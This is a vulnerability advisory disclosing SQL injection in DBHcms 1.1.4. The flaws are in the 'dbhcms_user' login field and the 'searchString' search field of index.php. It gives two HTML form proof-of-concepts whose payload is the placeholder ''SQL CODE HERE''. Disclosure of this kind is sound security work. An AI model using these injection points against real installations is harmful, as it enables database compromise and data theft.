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SQL injection in DBHcms



Vulnerability ID: HTB22651
Reference: http://www.htbridge.ch/advisory/sql_injection_in_dbhcms.html
Product: DBHcms 
Vendor: drbenhur.com ( http://www.drbenhur.com/ ) 
Vulnerable Version: 1.1.4 and probably prior versions
Vendor Notification: 13 October 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "dbhcms_user" variable.
Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/"; method="post" name="main" >
<input type="hidden" name="dbhcms_user" value="'SQL CODE HERE" />
<input type="hidden" name="dbhcms_passwd" value="password" />
<input type="submit" value="Login" name="submit" />
</form>


The vulnerability exists due to failure in the "index.php" script to properly sanitize user-supplied input in "searchString" variable.
Attacker can use browser to exploit this vulnerability. The following PoC is available:


<form action="http://host/index.php?dbhcms_did=1&dbhcms_pid=11&dbhcms_lang=en"; method="post" name="search" />
<input name="dbhcmsCache" value="CT_OFF" type="hidden" />
<input name="todo" value="searchExecute" type="hidden" />
<input name="searchString" value="'SQL CODE HERE" type="hidden" />
<input type="submit" value="Search" name="submit" />
</form>